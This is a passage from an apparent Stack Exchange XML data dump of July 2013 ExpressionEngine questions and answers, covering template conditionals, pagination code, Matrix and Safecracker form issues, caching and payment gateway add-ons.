  <row Id="11869" PostTypeId="2" ParentId="11867" CreationDate="2013-07-11T19:43:34.203" Score="2" Body="&lt;p&gt;The &lt;code&gt;no_results&lt;/code&gt; conditional should work, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;speed_sales&quot; dynamic=&quot;no&quot; url_title=&quot;{embed:url_title}&quot;}&#xA;    {if no_results}&#xA;        &amp;lt;!-- Content for no results --&amp;gt;&#xA;        {if:else}&#xA;        &amp;lt;!-- Otherwise ... --&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {if lead_copy}&amp;lt;p class=&quot;lead&quot;&amp;gt;{lead_copy}&amp;lt;/p&amp;gt;{/if}&#xA;            {if subtitle}&#xA;                &amp;lt;hr/&amp;gt;&#xA;                &amp;lt;h3&amp;gt;{subtitle}&amp;lt;/h3&amp;gt;&#xA;            {/if}&#xA;        {newsletter_copy}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(code untested)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#if-no-results&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#if-no-results&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-07-11T19:43:34.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11870" PostTypeId="1" AcceptedAnswerId="11872" CreationDate="2013-07-11T20:06:27.937" Score="1" ViewCount="106" Body="&lt;p&gt;I work with an EE website that has 293 custom fields, and 125k entries. Nowadays, whenever I am adding a new channel field, it takes between 4 and 5 minutes to complete the task! Also, it can take up to 2 minutes to delete a channel field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that this task requires adding a row to the exp_channel_fields table, as well as adding at least 2 columns to the exp_channel_data table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybuddy have any insight into why this is taking so long? Any tricks to speed this up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-07-11T22:47:11.210" Title="Adding new channel fields takes 5 minutes" Tags="|ee2|custom-fields|database|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11871" PostTypeId="1" CreationDate="2013-07-11T20:27:49.900" Score="3" ViewCount="758" Body="&lt;p&gt;Matrix version: 2.2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version:  v2.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Version 5.4.13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I save an image to a File field, it properly saves and publishes the content. But when I return to the entry to Edit it, the matrix file data is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our server was recently force-migrated which bumped up the PHP version a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything else I should check?&lt;/p&gt;&#xA;" OwnerUserId="1763" LastActivityDate="2014-05-30T10:57:04.910" Title="Pixel and Tonic: Matrix fields not saving File/image data" Tags="|matrix|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11872" PostTypeId="2" ParentId="11870" CreationDate="2013-07-11T22:47:11.210" Score="1" Body="&lt;p&gt;...wow. Just...wow. That's a hell of a lot of content, AND a lot of fields!! It sounds like the database is just getting very very large, so of course it's slowing down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You didn't mention why you're adding all these new channel fields. Do you have multiple channels? If so, is it at all possible to consolidate channel field groups, so that similar channels use the same fields (and only display certain ones on the front end?) If that's possible, you'd have to do some work to consolidate the fields/channels/content, but that would both start the optimization process, AND make expansion easier - if you tried to re-use wherever possible, instead of creating new field groups for each channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You might also want to speak with your server admin/web host, see if they have any suggestions for optimizing server performance / SQL responsiveness. But this should not be a substitute for optimizing the database itself.)&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-07-11T22:47:11.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11873" PostTypeId="1" CreationDate="2013-07-11T23:44:46.433" Score="1" ViewCount="179" Body="&lt;p&gt;I am planning to use Exp-resso to built a new online store. But i want to know if we can integrate is there any &quot;Payway Net&quot; payment gateway module for exp-resso store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Payway Net is an advance version of Westpac Quickweb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below mention re the links to these payment gateway&#xA;&lt;a href=&quot;https://www.payway.com.au/core/AboutView&quot; rel=&quot;nofollow&quot;&gt;https://www.payway.com.au/core/AboutView&lt;/a&gt;&#xA;&lt;a href=&quot;http://docs.woothemes.com/document/westpac-payway-net-payment-gateway/&quot; rel=&quot;nofollow&quot;&gt;http://docs.woothemes.com/document/westpac-payway-net-payment-gateway/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly confirm so that i can proceed accordingly&lt;/p&gt;&#xA;" OwnerUserId="1764" LastEditorUserId="115" LastEditDate="2013-07-12T08:18:28.380" LastActivityDate="2013-07-12T08:18:28.380" Title="is there any Payway Net payment gateway module for exp-resso store" Tags="|expresso-store|ecommerce|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11874" PostTypeId="2" ParentId="11776" CreationDate="2013-07-12T01:58:03.250" Score="0" Body="&lt;p&gt;For your registration process questions, the add-on &lt;a href=&quot;http://devot-ee.com/add-ons/member-activation-redirect&quot; rel=&quot;nofollow&quot;&gt;Member Activation Redirect&lt;/a&gt; fulfils both requirements.&lt;/p&gt;&#xA;" OwnerUserId="411" LastActivityDate="2013-07-12T01:58:03.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11875" PostTypeId="2" ParentId="10786" CreationDate="2013-07-12T02:18:36.240" Score="1" Body="&lt;p&gt;Member Group Tabs v1.2 is now EE 2.6 and above compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/surprisehighway/member-group-tabs&quot; rel=&quot;nofollow&quot;&gt;https://github.com/surprisehighway/member-group-tabs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="150" LastEditDate="2013-08-11T20:38:07.150" LastActivityDate="2013-08-11T20:38:07.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11877" PostTypeId="2" ParentId="11859" CreationDate="2013-07-12T06:20:39.737" Score="1" Body="&lt;p&gt;Complicated question, Ian, especially since you have Structure involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I'd want to talk with Aaron Waldron directly -- some basis below.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the primary ability of CE Cache is to break on change or addition/deletion action within a channel. You can then target what might be broken as a result.&lt;/li&gt;&#xA;&lt;li&gt;you can of course break the entire channel. A tricky part here is what this may actually mean. CE Cache appears to break according to the apparent path -- template group/template. I am not sure if the original EE path isn't still available and used with Structure, but there are other implications.&lt;/li&gt;&#xA;&lt;li&gt;The rules you can set for CE Cache appear I think only on the add-on module's Cache Breaking page for the individual channel involved. And that emphasizes that you can only condition a cache break on channel changes.&lt;/li&gt;&#xA;&lt;li&gt;thus I think that to do something as you would like to do, it would be a non-trivial addition to CE Cache capabilities - both to trigger on path rather than channel, and then to identify at least a partial path per each such rule to break.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm thinking then that depending on what Structure's effects are, you may be just as well to break the channel/s holding all the items. You have the auto-rebuilding options at the top of the cache breaking page to get the full cache rebuilt in some sensible interval - see the notes for tradeoffs and times there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a brief look at Template Morsels, but didn't spot anything more helpful there, and with those, I think you are required to do a lot of modifying of your template code, which is not needed in the default use of CE Cache, though it's fully capable of spot caching also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this view helps the thinking, anyway. I'd talk to Aaron...&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-07-12T06:20:39.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11878" PostTypeId="1" CreationDate="2013-07-12T06:29:08.523" Score="1" ViewCount="28" Body="&lt;p&gt;If I have (as in the ee 2.6.1 docs) a channel ParentChannel, with a field relationship_field, relating to multiple ChildChannel entries, how do I find the total number of related ChildChanel entries for a given ParentChanel entry, and how do I access just the n-th ChildChanel entry (without having to loop through all of them)?&lt;/p&gt;&#xA;" OwnerUserId="1593" LastActivityDate="2013-07-12T06:29:08.523" Title="How to access the n-th related channel entry (EE 2.6.1 relationships)" Tags="|relationships|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11879" PostTypeId="1" AcceptedAnswerId="11902" CreationDate="2013-07-12T06:40:14.993" Score="0" ViewCount="374" Body="&lt;p&gt;I have this code in my module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('pagination');&#xA;$pagination = $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;create(__CLASS__);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I get this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method EE_Pagination::create() in ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some changes that make this code not work? Is there a new way to do this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-13T17:44:02.783" Title="Call to undefined method EE_Pagination::create()" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11880" PostTypeId="1" CreationDate="2013-07-12T08:04:28.793" Score="3" ViewCount="1037" Body="&lt;p&gt;We've just launched our EE2 based website and are now experiencing an odd problem:&lt;br&gt;&#xA;In the control-panel it is no longer possible to save any changes to the sites content entries (or create new ones). When pressing 'Submit' or 'Save Revision' the edit-form is displayed again (containing the changed content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else on the site and control-panel work as expected, including changing settings and templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I activated all possible debug mechanisms (EE-Log, Debug Preference:1 (I am Super Admin), apache-log, Output-Profiler &amp;amp; Template-Debugging), but nothing shows up.&lt;br&gt;&#xA;The SQL-Trace doesn't even contain an update statement for the channel tables and I manually tested, that the application user is permitted to access/update those tables.&lt;br&gt;&#xA;I've also tried changing the &quot;Process form data in Secure Mode&quot; and &quot;Deny Duplicate Data&quot; optional without noticeable effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas where to look for the problem or any other options to try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jan&lt;/p&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2013-11-22T21:14:24.510" Title="Content entries not being saved" Tags="|ee2|control-panel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11882" PostTypeId="2" ParentId="11873" CreationDate="2013-07-12T08:17:19.547" Score="1" Body="&lt;p&gt;Currently Store does not have a Payway Net gateway. You can see the list of all available payment gateways in the &lt;a href=&quot;http://exp-resso.com/docs/store/payment_gateways.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently all payment gateways are based off of the open source &lt;a href=&quot;http://ci-merchant.org&quot; rel=&quot;nofollow&quot;&gt;CI-Merchant&lt;/a&gt; (or &lt;a href=&quot;https://github.com/expressodev/ci-merchant&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt;) if you wanted to build your own. In the next version of Store the underlying credit card processing is going to be handled by &lt;a href=&quot;https://github.com/adrianmacneil/omnipay&quot; rel=&quot;nofollow&quot;&gt;Omnipay&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also contact support@exp-resso.com if you wanted to discuss having the gateway developed.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-12T08:17:19.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11883" PostTypeId="2" ParentId="11880" CreationDate="2013-07-12T09:04:55.263" Score="0" Body="&lt;p&gt;Jan, can you check other tab of entry edit form like Options and Date. Basically &quot;Options&quot; tab and see if correct Author is selected. &lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-12T09:04:55.263" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11884" PostTypeId="1" CreationDate="2013-07-12T09:45:05.903" Score="1" ViewCount="54" Body="&lt;p&gt;I have this code in safecracker registration form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select required name=&quot;gender&quot; data-content=&quot;{instructions:gender}&quot; data-title=&quot;Help&quot; data-placement=&quot;right&quot; data-trigger=&quot;focus&quot; id=&quot;gender&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;    {exp:channel:entries channel=&quot;genders&quot; disable=&quot;categories|category_fields|member_data|pagination&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;option value=&quot;{entry_id}&quot;&amp;gt;{gender_name}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I first load the page, it outputs correct entry_ids for the gender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem arises when I try to submit a form that causes an error. I get redirected to the same page but the difference is that in the field above, ALL entry_ids are 0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select required name=&quot;gender&quot; data-content=&quot;{instructions:gender}&quot; data-title=&quot;Help&quot; data-placement=&quot;right&quot; data-trigger=&quot;focus&quot; id=&quot;gender&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;Male&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;Female&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I forgot to say that this code is in a Snippet. It probably is relevant to the discussion.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-07-15T01:52:56.463" LastActivityDate="2013-10-13T02:57:54.717" Title="Safecracker Registration - Entry Ids are all 0" Tags="|safecracker|safecracker-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11885" PostTypeId="1" AcceptedAnswerId="11888" CreationDate="2013-07-12T10:24:48.727" Score="0" ViewCount="43" Body="&lt;p&gt;I am using {exp:membrr:order_form} to submit billing information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried entering some dummy data for credit card and sure enough, I get redirected to the same page and I get error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the input values I entered prior to submission like name, address, etc did not persist. They are all blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make them persist?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-12T11:48:58.633" Title="Membrr - {exp:membrr:order_form} not retaining values on error" Tags="|membrr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11886" PostTypeId="2" ParentId="11880" CreationDate="2013-07-12T10:34:31.087" Score="3" Body="&lt;p&gt;Have you customised the publish layout at all? If you have a hidden field that is required, it won't allow you to save, and obviously won't be visible so you can see that it's required! Ensure that all fields are visible and when it returns to the edit screen (without saving), check all the tabs and all fields to ensure there's none highlighted as being required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then try entering values into all fields to see if that allows for saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If still no joy, disable extensions (not individually, just the global disable in top right of Extensions page) and try again (there may be PHP errors, but at least it may narrow it down).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, try creating a new channel (default options) with no custom fields - can that be saved? If so, try adding the same field group to this new test channel and see if the problem re-occures. If it does re-occur, you know there's a problem with a field type preventing saving, if it saves without problem, you know there's a problem with the channel settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update - try these suggestions:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9059/unable-to-publish-new-channel-entry&quot;&gt;Unable to publish new channel entry&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-07-12T12:13:28.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11887" PostTypeId="2" ParentId="11879" CreationDate="2013-07-12T10:57:31.890" Score="0" Body="&lt;p&gt;There is no create method, there's create_links or render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two methods I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//###   Prep the Pagination   ###&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('pagination');&#xA;$pagination = new Pagination_object(__CLASS__);&#xA;//###   Set any settings   ###&#xA;$pagination-&amp;gt;dynamic_sql = TRUE;&#xA;$pagination-&amp;gt;basepath = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;create_url($this-&amp;gt;EE-&amp;gt;uri-&amp;gt;uri_string);&#xA;$pagination-&amp;gt;per_page  = ( !is_numeric($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('limit')) )  ? $defaultLimit : $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('limit');&#xA;$pagination-&amp;gt;build($total, $primarySQL);&#xA;$tagdata = $pagination-&amp;gt;render($tagdata);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('pagination');&#xA;    $config['base_url'] = $base_url;&#xA;    $config['total_rows'] = $total;&#xA;    $config['per_page'] = $per_page;&#xA;    $config['num_links'] = 3;&#xA;    $config['uri_segment'] = 4;&#xA;    $config['first_link'] = '1';&#xA;    $config['first_tag_open'] = '&amp;lt;div class=&quot;pag-first&quot;&amp;gt;';&#xA;    $config['first_tag_close'] = '&amp;lt;/div&amp;gt;';&#xA;    $config['next_tag_open'] = '';&#xA;    $config['next_tag_close'] = '';&#xA;    $config['num_tag_open'] = '';&#xA;    $config['cur_tag_open'] = '&amp;lt;strong&amp;gt;';&#xA;    $config['prev_tag_open'] = '';&#xA;    $config['last_link'] = ceil($total/$per_page);&#xA;    $config['last_tag_open'] = '&amp;lt;div class=&quot;pag-last&quot;&amp;gt;';&#xA;    $config['last_tag_close'] = '&amp;lt;/div&amp;gt;';&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;initialize($config);&#xA;&#xA;    return $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;create_links();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/libraries/pagination.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/codeigniter/user-guide/libraries/pagination.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-12T10:57:31.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11888" PostTypeId="2" ParentId="11885" CreationDate="2013-07-12T11:48:58.633" Score="1" Body="&lt;p&gt;Are you passing the related template variable into value attribute of input type. Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;first_name&quot; name=&quot;first_name&quot; value=&quot;{first_name}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-12T11:48:58.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11889" PostTypeId="2" ParentId="11859" CreationDate="2013-07-12T12:45:32.883" Score="0" Body="&lt;p&gt;How about escaping the secondary navigation so it's not cached at all?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {exp:ce_cache:escape}&#xA;     Structure navigation here&#xA;     {/exp:ce_cache:escape}     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-07-12T12:45:32.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11890" PostTypeId="2" ParentId="11884" CreationDate="2013-07-12T13:24:58.950" Score="1" Body="&lt;p&gt;My guess this is an EE parse order issue. Assuming you are registering for a new member, the default entry_id is obviously 0 since there is no entry yet. Safecracker is actually parsing the entry_id incorrectly before your entries loop runs. This should have nothing to do with Safecracker Registration, as the same thing would happen with a regular SC form too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Use my Entries addon and prefix your nested tag so there is no parsing conflict. Entries is stable, I just haven't actually released it yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/entries&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Use Stash to parse that entries loop outside of the Safecracker tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any more questions.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-12T13:24:58.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11891" PostTypeId="1" AcceptedAnswerId="11893" CreationDate="2013-07-12T14:23:41.113" Score="0" ViewCount="180" Body="&lt;p&gt;I'm just wondering if it's possible to hide all the months that don't have a blog entry? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_yearly_archives channel=&quot;blog&quot; start_month=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot;}&#xA;  {year}&#xA;       {months}&#xA;              &amp;lt;li&amp;gt;&#xA;              {if num_entries != 0}&#xA;              &amp;lt;a href=&quot;{path=index.php/corporate/blog}/{year}/{month_num}/&quot; title=&quot;{num_entries} entries in {month} {year}&quot;&amp;gt;{month_short} ({num_entries})&amp;lt;/a&amp;gt;&#xA;              {if:else}&#xA;              {month_short}&#xA;              {/if}&#xA;              &amp;lt;/li&amp;gt;&#xA;       {/months}&#xA;{/exp:low_yearly_archives}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only have blog entries in the month on July at the moment, but it's showing me every month from January. I may be able to work around this by using &quot;month_start&quot; but, if there's ever a case I miss a month with a blog entry then I wouldn't want the month showing with no archives. Also, if i remove &quot;month_short&quot;, it takes away the names, but still leaves a space for the month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense, thanks in advanced!&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2013-07-12T16:16:10.643" Title="Only show months that have a blog entry" Tags="|low-yearly-archives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11892" PostTypeId="1" CreationDate="2013-07-12T14:23:50.100" Score="0" ViewCount="146" Body="&lt;p&gt;Recently I've installed and configured the champagne 2 module from Chris Newton(&lt;a href=&quot;http://devot-ee.com/add-ons/champagne-2&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/champagne-2&lt;/a&gt;) everything worked fine but when I wanted to send my new campaign I did get a PHP error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function was_successful() on a non-object in ..\system\expressionengine\third_party\champagne\mcp.champagne.php on line 461&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I var dump the $result var from line 461 it will say it's a (boolean)FALSE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone has a solution?&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-07-12T14:23:50.100" Title="Champagne 2 - Fatal error: Call to a member function was_successful() on a non-object" Tags="|module|fatal|champagne|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11893" PostTypeId="2" ParentId="11891" CreationDate="2013-07-12T16:16:10.643" Score="3" Body="&lt;p&gt;Get rid of the if:else and you'll only display months with entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if num_entries != 0}&#xA;        &amp;lt;a href=&quot;{path=index.php/corporate/blog}/{year}/{month_num}/&quot; title=&quot;{num_entries} entries in {month} {year}&quot;&amp;gt;{month_short} ({num_entries})&amp;lt;/a&amp;gt;&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-07-12T16:16:10.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11894" PostTypeId="1" CreationDate="2013-07-12T16:59:03.137" Score="2" ViewCount="132" Body="&lt;p&gt;I have a client that has been posting things to different channels for a while now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today They edited a page and that page all the sudden was not available. I went in as super admin and checked the status, entry date, and Hide From Nav (Using Structure). All were set correctly. I even Edited all those fields to the wrong setting saved and set them all back and the entry still did not show up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recreated the entry as Super Admin and the entry worked fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the client added an entry and the same thing had happened. When I went in and manually duplicated the entry it worked fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;From Twitter I am about to check on Caching and testing if it is specific to that member or member group. If I find anything I will update. &lt;/p&gt;&#xA;" OwnerUserId="1304" LastEditorUserId="425" LastEditDate="2013-07-12T22:43:04.140" LastActivityDate="2013-10-21T05:33:53.537" Title="Client Not able to Add or Edit Entry" Tags="|ee2|members|structure|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11895" PostTypeId="2" ParentId="10391" CreationDate="2013-07-12T17:09:57.703" Score="0" Body="&lt;p&gt;The new Matrix version 2.5.6 solves this problem.&lt;/p&gt;&#xA;" OwnerUserId="1767" LastActivityDate="2013-07-12T17:09:57.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11898" PostTypeId="1" AcceptedAnswerId="12051" CreationDate="2013-07-13T06:39:23.490" Score="0" ViewCount="77" Body="&lt;p&gt;I have a Safecracker form where I have more than one Matrix field in the form. Each of these Matrix fields has a Safecracker File field as the first column. When testing the form out I can only upload files into the first Matrix field. I get no inline errors, just an empty field in the second Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.5, Matrix v2.5.6, Safecracker File v2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across this problem before. Sample template code for the two fields below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker &#xA;    channel=&quot;awaentry&quot; &#xA;    return=&quot;entries/nomination/URL_TITLE/success&quot; &#xA;    id=&quot;award-entry-form&quot;&#xA;    class=&quot;standard-form&quot;&#xA;    url_title=&quot;{segment_3}&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    author_only=&quot;yes&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;}&#xA;&#xA;{global_errors}&amp;lt;div class=&quot;alert&quot;&amp;gt;&#xA;    {error}&#xA;&amp;lt;/div&amp;gt;{/global_errors}&#xA;&#xA;{field_errors}&amp;lt;div class=&quot;alert&quot;&amp;gt;&#xA;    {error}&#xA;&amp;lt;/div&amp;gt;{/field_errors}&#xA;&#xA;&amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;label&quot;&amp;gt;Screen Grabs (Desktop)&amp;lt;/span&amp;gt;&#xA;    &amp;lt;div class=&quot;formHelp&quot;&amp;gt;Please provide a set of screen grabs with details, that can be used for promotional purposes.&amp;lt;/div&amp;gt;&#xA;    {field:website_screens}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;label&quot;&amp;gt;Screen Grabs 